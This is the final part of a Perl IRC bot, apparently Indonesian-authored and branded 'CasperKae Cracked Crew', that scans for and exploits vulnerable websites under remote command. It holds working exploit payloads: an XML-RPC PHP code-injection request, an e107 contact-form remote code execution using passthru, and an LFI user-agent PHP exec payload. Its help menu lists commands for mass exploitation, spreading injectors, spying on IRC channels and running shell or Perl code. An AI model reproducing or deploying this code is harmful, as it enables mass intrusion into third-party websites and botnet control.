  1458. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1459. irc_msg($too,$5);}
  1460. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1461. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1462. irc_msg($too,$3);irc_msg($too,$4);}
  1463. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1464. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1465. irc_msg($too,$3);}
  1466. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)kae/){
  1467. irc_msg($too,$1);irc_msg($too,$2);}
  1468. elsif($q =~ /casper(.*)\s+(.*)kae/){
  1469. irc_msg($too,$1);}
  1470. elsif($q =~ /casper(.*)kae/){
  1471. irc_msg($too,"[CMDXML][".$cmduser."] sudah dilaksanakan");
  1472. }else{ irc_msg($too,$colz{4}."target XML ga vurnerable!"); }
  1473. }
  1474. sub cmd_e107 {
  1475. my ($too,$situs,$cmduser) = @_;
  1476. my $q = bukasituscre107($situs,$cmduser);
  1477. if($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1478. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1479. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1480. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1481. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1482. irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sleepz});
  1483. irc_msg($too,$11);irc_msg($too,$12); }
  1484. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1485. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1486. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1487. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1488. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1489. irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sleepz});
  1490. irc_msg($too,$11); }
  1491. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1492. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1493. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1494. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1495. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1496. irc_msg($too,$9);irc_msg($too,$10);}
  1497. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1498. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1499. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1500. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1501. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1502. irc_msg($too,$9);}
  1503. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1504. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1505. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1506. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1507. irc_msg($too,$7);irc_msg($too,$8);}
  1508. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1509. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1510. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1511. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1512. irc_msg($too,$7);}
  1513. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1514. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1515. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1516. irc_msg($too,$5);irc_msg($too,$6);}
  1517. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1518. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1519. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1520. irc_msg($too,$5);}
  1521. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1522. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1523. irc_msg($too,$3);irc_msg($too,$4);}
  1524. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1525. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1526. irc_msg($too,$3);}
  1527. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)kae/){
  1528. irc_msg($too,$1);irc_msg($too,$2);}
  1529. elsif($q =~ /casper(.*)\s+(.*)kae/){
  1530. irc_msg($too,$1);}
  1531. elsif($q =~ /casper(.*)kae/){
  1532. irc_msg($too,"[CMDe107][".$cmduser."] sudah dilaksanakan");
  1533. }else{ irc_msg($too,$colz{4}."target e107 ga vurnerable!"); }
  1534. }
  1535. ##[ CEK RESPON ]##
  1536. sub cek_respon {
  1537. my $chan = $_[0];
  1538. my ($q1,$q2) = (bukasitus($Ckrid),bukasitus($Ckrid2));
  1539. my ($rid,$rid2,$stat);
  1540. if ( $q1 =~ /Ckrid/ ) { $rid = "OK"; $stat = 1; } else { $rid = "ERROR!"; $stat = 0; }
  1541. if ( $q2 =~ /Ckrid2/ ) { $rid2 = "OK"; $stat += 1; } else { $rid2 = "ERROR!"; $stat += 0; }
  1542. $lfiid2 = bukasitus($Ckrid2);
  1543. $lfisprd = bukasitus($spread);$lfisprd2 = bukasitus($spread2);
  1544. irc_msg($chan,$colz{14}."Ckrid:".$colz{4}." $rid ".$colz{14}."Ckrid2:".$colz{4}." $rid2 ".$colz{14}."LFI (Useragent):".$colz{4}." -=EMPIXCREW NEW SCANNER=-");
  1545. return $stat;
  1546. }
  1547.  
  1548. ##[ CEK DORK ]##
  1549. sub cek_dork {
  1550. my $dork = $_[0];
  1551. foreach my $d (@baddorkz) { if ($dork =~ /$d/) { return 1; } }
  1552. return 0;
  1553. }
  1554.  
  1555. ##[ CEK BUG ]##
  1556. sub cek_bug {
  1557. my $bug = $_[0];
  1558. foreach my $b (@badbugz) { if ($bug =~ /$b/) { return 1; } }
  1559. return 0;
  1560. }
  1561.  
  1562. ##[ RUTIN PENANGANAN FILE ]##
  1563. sub f_hapus { my $file = $_[0]; system("rm $file"); }
  1564. sub f_simpan {
  1565. my ($nf,$hc) = @_;
  1566. my $fh;
  1567. open( $fh, ">>", $nf );
  1568. my @slink = lnk_sub($hc);
  1569. foreach my $s (@slink) { print $fh "$s\n"; }
  1570. close $fh;
  1571. }
  1572. sub f_simpan2 {
  1573. my ($nf,$isi) = @_;
  1574. my $fh;
  1575. open( $fh, ">", $nf ); print $fh "$isi\n"; close $fh;
  1576. }
  1577. sub f_simpan2b {
  1578. my ($nf,$isi) = @_;
  1579. my $fh;
  1580. open( $fh, ">>", $nf ); print $fh "$isi\n"; close $fh;
  1581. }
  1582.  
  1583. ##[ HTTP QUERY ]##
  1584. sub bukasitus {
  1585. my $url = $_[0];
  1586. my $request = HTTP::Request->new(GET => $url);
  1587. my $ua = LWP::UserAgent->new;
  1588. $ua->timeout($conf{timeout});
  1589. $ua->agent('MaMa CaSpEr');
  1590. my $response = $ua->request($request);
  1591. if ($response->is_success) { return $response->content; }
  1592. else { return $response->status_line; }
  1593. }
  1594. sub bukasitus2 {
  1595. my $url = $_[0];
  1596. my $ua = LWP::UserAgent->new;
  1597. $ua->timeout($conf{timeout});
  1598. $ua->agent('MaMa CaSpEr');
  1599. my $response = $ua->get($url);
  1600. if ($response->is_success) { return $response->content; }
  1601. else { return $response->status_line; }
  1602. }
  1603. sub bukasituscrxml {
  1604. my $url = $_[0];
  1605. my $crMa = $_[1];
  1606. my $exploit;
  1607. my $ua = LWP::UserAgent->new;
  1608. $ua->timeout($conf{timeout});
  1609. $ua->agent('MaMa CaSpEr');
  1610. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1611. $exploit .= "<methodName>test.method</methodName>";
  1612. $exploit .= "<params><param><value><name>',''));";
  1613. $exploit .= "echo'casper';echo`".$crMa."`;echo'kae';exit;/*</name></value></param></params></methodCall>";
  1614. my $response = $ua->request(POST $url,Content_Type => 'text/xml',Content => $exploit);
  1615. if ($response->is_success) { return $response->content; }
  1616. else { return $response->status_line; }
  1617. }
  1618. sub bukasituscre107 {
  1619. my $inc = $_[0];
  1620. my $crMe = $_[1];
  1621. if($crMe =~ /CASPER VURN/){ $crMe = "echo('casper'.php_uname().'kae')"; }else{ $crMe = "echo('casper ');passthru('".$crMe."');echo(' kae')"; }
  1622. my $ua = LWP::UserAgent->new or die;
  1623. $ua->agent('MaMa CaSpEr');
  1624. $ua->timeout($conf{timeout});
  1625.  
  1626. my $req = HTTP::Request->new(POST => $inc);
  1627. $req->content_type('application/x-www-form-urlencoded');
  1628. $req->content("send-contactus=1&author_name=%5Bphp%5D" .$crMe. "%3Bdie%28%29%3B%5B%2Fphp%5D");
  1629.  
  1630. my $res = $ua->request($req);
  1631. print $inc;
  1632. if($res->is_success) {
  1633. return $res->content;
  1634. } else {
  1635. return $res->status_line;
  1636. }
  1637. }
  1638. sub bukasituscre107spred {
  1639. my $inc = $_[0];
  1640. my $crMe = $_[1];
  1641. my $ua = LWP::UserAgent->new or die;
  1642. $ua->agent('MaMa CaSpEr');
  1643. $ua->timeout($conf{timeout});
  1644.  
  1645. my $req = HTTP::Request->new(POST => $inc);
  1646. $req->content_type('application/x-www-form-urlencoded');
  1647. $req->content("send-contactus=1&author_name=%5Bphp%5D" .$crMe. "%3Bdie%28%29%3B%5B%2Fphp%5D");
  1648.  
  1649. my $res = $ua->request($req);
  1650. print $inc;
  1651. if($res->is_success) {
  1652. return $res->content;
  1653. } else {
  1654. return $res->status_line;
  1655. }
  1656. }
  1657. sub bukasitus3 {
  1658. my $url = $_[0];
  1659. my $host = $url;
  1660. my $query = $url;
  1661. my $isi; my $kirim;
  1662. my $uagent = "MaMa CaSpEr";
  1663. $host =~ s/http:\/\/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1664. $query =~ s/$host//;
  1665. eval {
  1666. my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
  1667. $kirim = "GET ".$query." HTTP/1.1\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$uagent."\r\n\r\n";
  1668. print $sock $kirim;
  1669. my @r = <$sock>;
  1670. $isi = "@r";
  1671. close($sock);
  1672. };
  1673. return $isi;
  1674. }
  1675. sub bukasituslfi {
  1676. my $url = $_[0];
  1677. my $agent = $lfiid2;
  1678. my $ua = LWP::UserAgent->new(agent => $agent);
  1679. $ua->timeout($conf{timeout});
  1680. my $req = HTTP::Request->new(GET => $url);
  1681. my $response = $ua->request($req);
  1682. return $response->content;
  1683. }
  1684. sub bukasituslfisprd {
  1685. my $url = $_[0];
  1686. my $agent = $lfisprd;
  1687.  
  1688. my $ua = LWP::UserAgent->new(agent => $agent);
  1689. $ua->timeout($conf{timeout});
  1690. my $req = HTTP::Request->new(GET => $url);
  1691. my $response = $ua->request($req);
  1692. return $response->content;
  1693. }
  1694. sub bukasituslfisprd2 {
  1695. my $url = $_[0];
  1696. my $agent = $lfisprd2;
  1697. my $ua = LWP::UserAgent->new(agent => $agent);
  1698. $ua->timeout($conf{timeout});
  1699. my $req = HTTP::Request->new(GET => $url);
  1700. my $response = $ua->request($req);
  1701. return $response->content;
  1702. }
  1703. sub bukasituslficmd {
  1704. my $url = $_[0];
  1705. my $agent = "<?php echo \"crack#\"; exec(\'".$cmdlfiu."\'); echo \"#crack\"; ?>";
  1706. my $ua = LWP::UserAgent->new(agent => $agent);
  1707. $ua->timeout($conf{timeout});
  1708. my $req = HTTP::Request->new(GET => $url);
  1709. my $response = $ua->request($req);
  1710. return $response->content;
  1711. }
  1712. sub SiteDomains {
  1713. my @dom = ("username","password","member","login","admin","comment","email","*.ru","*.pl","*.biz","*.tv","*.info","*.org","*.net","*.ae","*.ar","*.at","*.au","*.be","*.br","*.ca","*.ch","*.cl","*.de","*.dk","*.fi","*.fr","*.gr","*.hk","*.ie","*.il","*.it","*.jp","*.kr","*.lt","*.lv","*.nl","*.pa","*.pe","*.pl","*.pt","*.ru","*.sg","*.tr","*.tw","*.ua","*.uk","*.hu","*.af","*.ae","*.ag","*.ai","*.am","*.ar","*.as","*.at","*.au","*.az","*.ba","*.bd","*.be","*.bg","*.bh","*.bi","*.bn","*.bo","*.bn","*.bs","*.bw","*.by","*.bz","*.ca","*.cd","*.cg","*.ch","*.ci","*.ck","*.cl","*.cn","*.co","*.cr","*.cu","*.cz","*.de","*.dj","*.dk","*.dm","*.do","*.ec","*.ee","*.eg","*.es","*.et","*.fi","*.fj","*.fm","*.fr","*.ge","*.gg","*.gi","*.gl","*.gm","*.gp","*.gr","*.gt","*.gy","*.hk","*.hn","*.hr","*.ht","*.hu","*.id","*.ie","*.il","*.im","*.in","*.is","*.it","*.je","*.jm","*.jo","*.jp","*.ke","*.kh","*.ki","*.kg","*.kr","*.kz","*.la","*.li","*.lk","*.ls","*.lt","*.lu","*.lv","*.ly","*.ma","*.md","*.mn","*.ms","*.mt","*.mu","*.mv","*.mw","*.mx","*.my","*.na","*.nf","*.ng","*.ni",
  1714. "*.nl","*.no","*.np","*.nr","*.nu","*.nz","*.om","*.pa","*.pe","*.ph","*.pk","*.pl","*.pn","*.pr","*.pt","*.py","*.qa","*.ro","*.ru","*.rw","*.sa","*.sb","*.sc","*.se","*.sg","*.sh","*.si","*.sk","*.sn","*.sm","*.st","*.sv","*.th","*.tj","*.tk","*.tm","*.to","*.tp","*.tr","*.tt","*.tw","*.ua","*.ug","*.uk","*.uy","*.uz","*.vc","*.ve","*.vg","*.vi","*.vn","*.vu","*.ws","*.yu","*.za","*.zm","*.zw");
  1715. my @dorkzcr = ("username","password","member","login","admin","comment","email");
  1716. my @dom = (
  1717. $dom[rand(scalar(@dom))],
  1718.  
  1719. $dom[rand(scalar(@dom))],
  1720. $dorkzcr[rand(scalar(@dorkzcr))],
  1721. $dom[rand(scalar(@dom))],
  1722.  
  1723. $dom[rand(scalar(@dom))],
  1724.  
  1725. $dom[rand(scalar(@dom))],
  1726. $dorkzcr[rand(scalar(@dorkzcr))],
  1727. $dom[rand(scalar(@dom))]
  1728. );
  1729. return @dom;
  1730. }
  1731.  
  1732. ##[ ENCODE/DECODE ]##
  1733. sub htmltourl { my $str = $_[0]; $str =~ s/&amp;/&/g; return $str; }
  1734. sub links() {
  1735. my @l;
  1736. my $link = $_[0];
  1737. my $host = $_[0];
  1738. my $hdir = $_[0];
  1739. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1740. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1741. $host .= "/";
  1742. $link .= "/";
  1743. $hdir .= "/";
  1744. $host =~ s/\/\//\//g;
  1745. $hdir =~ s/\/\//\//g;
  1746. $link =~ s/\/\//\//g;
  1747. push( @l, $link, $host, $hdir );
  1748. return @l;
  1749. }
  1750. sub urlen {
  1751. my $str = $_[0];
  1752. #$str =~ s/\+/\%2B/g;
  1753. $str =~ s/ /\+/g;
  1754. $str =~ s/@/\%40/g;
  1755. $str =~ s/\//\%2F/g;
  1756. $str =~ s/&/\%26/g;
  1757. $str =~ s/\"/\%22/g;
  1758. $str =~ s/,/\%2C/g;
  1759. $str =~ s/\\/\%5C/g;
  1760. $str =~ s/:/\%3A/g;
  1761. $str =~ s/\[/\%5B/g;
  1762. $str =~ s/\]/\%5D/g;
  1763. $str =~ s/\?/\%3F/g;
  1764. $str =~ s/\=/\%3D/g;
  1765. $str =~ s/\|/\%7C/g;
  1766. return $str;
  1767. }
  1768. sub urlde {
  1769. my $str = $_[0];
  1770. $str =~ s/\+/ /g;
  1771. $str =~ s/\%2B/\+/g;
  1772. $str =~ s/\%40/@/g;
  1773. $str =~ s/\%2E/\./g;
  1774. $str =~ s/\%2F/\//g;
  1775. $str =~ s/\%26/&/g;
  1776. $str =~ s/\%22/\"/g;
  1777. $str =~ s/\%2C/,/g;
  1778. $str =~ s/\%5C/\\/g;
  1779. $str =~ s/\%3A/:/g;
  1780. $str =~ s/\%5[B|b]/\[/g;
  1781. $str =~ s/\%5[D|d]/\]/g;
  1782. $str =~ s/\%3F/\?/g;
  1783. $str =~ s/\%3D/\=/g;
  1784. $str =~ s/\%7C/\|/g;
  1785. return $str;
  1786. }
  1787. sub cryptz { return crypt($_[0],"Casper_Kae"); }
  1788.  
  1789. ##[ TRIMMER CRLF ]##
  1790. sub trimrn {
  1791. my $str = $_[0];
  1792. if (!$str) { return ""; }
  1793. $str =~ s/\r// if ($str);
  1794. $str =~ s/\n//;
  1795. return $str;
  1796.  
  1797. }
  1798.  
  1799. ##[ INFO BOT ]##
  1800. sub bot_info {
  1801. my $chan = $_[0];
  1802. my $hlogo = " [".$colz{12}."!".$colz{1}."] ".$colz{14};
  1803. my $uname = `uname -a`;
  1804. my $uid = `id`;
  1805. my $uptime = `uptime`;
  1806. my @info = (
  1807. $hlogo."Crack RFI & LFI & XML & SQL Scanner $versi Info ",
  1808. $hlogo."Written under ActivePerl 0.0 Build 1x by Alert [Crack Crew] ",
  1809. $hlogo."Uname: $colz{13} $uname ",
  1810. $hlogo."Uid: .$colz{13} $uid ",
  1811. $hlogo."Uptime: .$colz{13} $uptime ",
  1812. );
  1813. foreach my $m(@info) { irc_msg($chan,$m); }
  1814. }
  1815.  
  1816. ##[ HELP BOT ]##
  1817. sub bot_help {
  1818. my ($chan,$level) = @_;
  1819. my $hsepz = "[".$colz{12}."!".$colz{1}."] ".$colz{14};
  1820. my $hlogo = "[".$colz{12}."!".$colz{1}."] ".$colz{13}.$cmdpre.$colz{14};
  1821. my $hcspr = "[".$colz{12}."!".$colz{1}."] ".$colz{13}.$bot{nick}.$colz{14}." ";
  1822. my @help; my $i;
  1823. my @hlp1 = (
  1824. $hsepz."Crack RFI & LFI & XML & SQL Scanner $versi Help",
  1825. $hlogo."scan|scan2 <bug> <dork> ? Memulai scanner | scanner & Eksploit RFI & LFI & XML & SQL",
  1826. $hcspr."scan <bug> <dork> ? Memulai scanner & Eksploit RFI & LFI",
  1827. $hcspr."xml <bug> <dork> ? Memulai scanner & Eksploit XML",
  1828. $hcspr."e107 <bug> <dork> ? Memulai scanner & Eksploit e107 RCE",
  1829. $hcspr."sql <bug> <dork> ? Memulai scanner & Eksploit SQL",
  1830. $hcspr."sqli -h ? Melihat bantuan scemafuze SQL",
  1831. $hlogo."milw0rm <keywords> ? Mencari daftar bug di milw0rm",
  1832. $hlogo."cmdlfi <LFI target> <comand> ? execute target LFI",
  1833. $hlogo."cmdrfi <RFI target> <comand> ? execute target RFI",
  1834. $hlogo."cmdxml <XML target> <comand> ? execute target XML",
  1835. $hlogo."cmde107 <XML target> <comand> ? execute target e107 RCE",
  1836. $hlogo."ip <ip> ? cek ip",
  1837. $hlogo."zip <zip> ? cek zip/post code",
  1838. $hlogo."text[enc/dec] <text> ? encrypt/decrypt text",
  1839. $hlogo."respon ? Cek Respon & Injector RFI & User Agent LFI",
  1840. $hlogo."urlen|urlde <teks> ? Encoder/Decoder URL",
  1841. $hlogo."cek <target> ? Cek RFI & LFI & XML & SQL target",
  1842. $hlogo."info ? Informasi bot",
  1843. $hlogo."auth <password> ? Login ke bot",
  1844. );
  1845. my @hlp2 = (
  1846. $hsepz."User Commands: ",
  1847. $hlogo."joomla <bug> <dork> ? Memulai scanner & Eksploit RFI & LFI & XML & SQL Joomla",
  1848. $hlogo."hitung <jumlah> ? Mengganti hitungan proses eksploitasi",
  1849. $hlogo."cryptz <password> ? Membuat password yg terenkripsi",
  1850. $hlogo."join|part <channel> ? Join/Part channel",
  1851. $hlogo."nick <nick> ? Ganti nick bot",
  1852. $hlogo."logout ? Logout dari bot",
  1853. );
  1854. my @hlp3 = (
  1855. $hsepz."Admin Commands:",
  1856. $hlogo."crespon[1/2]|cshell|cspread <url> ? Mengganti respon/injector/spread/spread2 RFI",
  1857. $hlogo."cshurl <url> ? Mengganti injector (Ckrid1.txt,Ckrid2.txt,Casper2.txt,casper2.txt) RFI",
  1858. $hlogo."rfipid <perintah> ? Mengganti RFI & LFI & XML & SQL PID",
  1859. $hlogo."spy ? Menampilkan konfigurasi Spy",
  1860. $hlogo."spyhost <your chan> ? Channel host buat spy",
  1861. $hlogo."spychan <chan> ? Channel yang akan di spy",
  1862. $hlogo."spyword <regex> ? Kata yg di akan spy",
  1863. $hlogo."raw <perintah> ? Perintah Raw IRC",
  1864. $hlogo."cmd <perintah shell> ? Mengeksekusi perintah di shell",
  1865. $hlogo."eval <kode perl> ? Mengeksekusi kode perl",
  1866. $hlogo."quit ? Quit dari IRC",
  1867. $hlogo."keluar ? Quit dari IRC & Matikan semua proses Perl",
  1868. );
  1869. if ( $level == 1 ) { push(@help,@hlp1); }
  1870. elsif ( $level == 2 ) { push(@help,@hlp2); }
  1871. elsif ( $level == 3 ) { push(@help,@hlp3); }
  1872. foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
  1873. }
  1874.  
  1875. ##[ CUSTOM MESSAGE ]##
  1876. sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
  1877. sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }
  1878. sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }
  1879. sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan," ".$se." ".$totr." ".$clr." "); }
  1880. sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
  1881. sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }
  1882.  
  1883. ##[ PERINTAH RAW IRC ]##
  1884. sub irc_raw { my $data = $_[0]; print $sock "$data\r\n"; }
  1885. sub irc_pasv { my $pasv = $_[0]; irc_raw("PASS $pasv"); }
  1886. sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
  1887. sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * : $versi"); }
  1888. sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
  1889. sub irc_act { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
  1890. sub irc_ntc { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
  1891. sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
  1892. sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
  1893. sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }
  1894.  
  1895. ##############################
  1896. ##[ CasperKae CRACKED CREW ]##
  1897. ##############################
  1898.  
  1899.  
  1900.